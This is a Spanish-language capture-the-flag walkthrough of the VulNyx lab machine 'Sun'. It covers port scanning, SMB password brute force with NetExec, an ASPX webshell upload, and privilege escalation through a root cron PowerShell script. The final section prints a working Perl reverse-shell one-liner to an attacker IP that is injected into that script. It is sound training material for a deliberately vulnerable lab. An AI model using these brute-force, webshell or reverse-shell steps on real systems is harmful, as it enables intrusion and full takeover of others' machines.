VulNyx - Sun

logo

  • Brute Force SMB - (NetExec)
  • AspNet - (WebShell)
  • Abusing Cron Task - (Privesc/script.ps1)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.72

PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack ttl 64
80/tcp   open  http         syn-ack ttl 64
139/tcp  open  netbios-ssn  syn-ack ttl 64
445/tcp  open  microsoft-ds syn-ack ttl 64
8080/tcp open  http-proxy   syn-ack ttl 64

Escaneo de servicios

❯ nmap -sV -sC -p 22,80,139,445,8080 -v 192.168.1.72

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http        nginx 1.22.1
|_http-title: Sun
|_http-server-header: nginx/1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD
139/tcp  open  netbios-ssn Samba smbd 4.6.2
445/tcp  open  netbios-ssn Samba smbd 4.6.2
8080/tcp open  http        nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
|_http-title: Sun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| nbstat: NetBIOS name: SUN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   SUN<00>              Flags: <unique><active>
|   SUN<03>              Flags: <unique><active>
|   SUN<20>              Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-time: 
|   date: 2024-04-07T11:36:27
|_  start_date: N/A

HTTP TCP - 80, 8080

En ambos puertos existe la misma imagen.

http

SMB TCP - 445

Lanzo enum4linux y encuentro el usuario punt4n0.

❯ enum4linux -a 192.168.1.72

enum4linux

Realizo fuerza bruta al usuario punt4n0 con netexec y encuentro una contraseña.

❯ ./nxc smb 192.168.1.72 -u 'punt4n0' -p '/usr/share/wordlists/rockyou.txt' --ignore-pw-decoding

netexecOK

Con la flag --shares enumero los recursos compartidos del usuario punt4n0.

nxcShares

Seguidamente uso smbclient para conectarme al recurso con el nombre punt4n0 y veo la estructura de un sitio web.

smbclient

Subo el archivo test.txt para comprobar donde se sube ya que existen dos servicios web.

put

El archivo se ha subido en el servidor web que usa el puerto 8080.

putOK

Con curl reviso el puerto 8080 y encuentro la cabecera de AspNet.

❯ curl http://192.168.1.72:8080 -I
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Wed, 03 Apr 2024 14:37:53 GMT
Content-Type: text/html
Content-Length: 263
Connection: keep-alive
Last-Modified: Tue, 02 Apr 2024 08:54:36 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: private

Me descargo esta Webshell pero es para sistemas Windows.

webshellwin

Se puede configurar para sistemas Linux cambiando el psi.FileName y el psi.Arguments.

webshellbash

Subo la Webshell al servidor.

putWebshell

Con el navegador abro la webshell.aspx y veo una herramienta para ejecutar comandos.

webshell

Con el comando id veo que puedo ejecutar comandos como usuario punt4n0.

puntano

En este punto hay varios métodos para acceder al sistema, usando la misma webshell, el primer método es el intencionado, lanzo un cat apuntando a la llave rsa y consigo leer el contenido del archivo pero se aprecia que está encriptada.

idrsa

Después de realizar fuerza bruta a la llave rsa sin éxito me doy cuenta de que existen varios archivos ocultos en el home del usuario punt4n0.

lsA

Visualizo el contendio de .remember_password y encuentro el passphrase de la llave rsa.

r_passw

Me conecto al sistema usando la llave rsa y el passphrase encontrado.

sshpunt4n0

##· Modo no intencionado.

Para obtener una shell he usado este recurso.

shShell

Recibo la shell como usuario punt4n0.

revshell

Con find busco archivos con permisos de escritura.

punt4n0@sun:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run|home|var|tmp'
/opt/service.ps1
punt4n0@sun:~$ ls -la /opt/service.ps1 
-rwx---rw- 1 root root 4502 abr  4 20:43 service.ps1

Es un script de powershell y tiene este contenido.

$idOutput = id

$outputFilePath = "/dev/shm/out"

$idOutput | Out-File -FilePath $outputFilePath

Con while creo un bucle para que me muestre si service.ps1 se ejecuta usando una tarea cron.

punt4n0@sun:~$ while true; do ps aux | grep -e "service.ps1" | grep -v grep; done
root       62815  0.0  0.0   2576   904 ?        Ss   20:40   0:00 /bin/sh -c /usr/bin/pwsh /opt/service.ps1 
root       62816 33.3  2.0 273365376 20080 ?     Rl   20:40   0:00 /usr/bin/pwsh /opt/service.ps1
root       62815  0.0  0.0   2576   904 ?        Ss   20:40   0:00 /bin/sh -c /usr/bin/pwsh /opt/service.ps1 
root       62816 40.0  3.2 273458708 31600 ?     Sl   20:40   0:00 /usr/bin/pwsh /opt/service.ps1

Mis sospechas eran correctas así que ahora modifico el script para obtener una shell.

$idOutput = perl -e 'use Socket;$i="192.168.1.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

$outputFilePath = "/dev/shm/out"

$idOutput | Out-File -FilePath $outputFilePath

Después de un minuto obtengo una shell de root.

root

Y aquí termina la máquina Sun.

Saludos!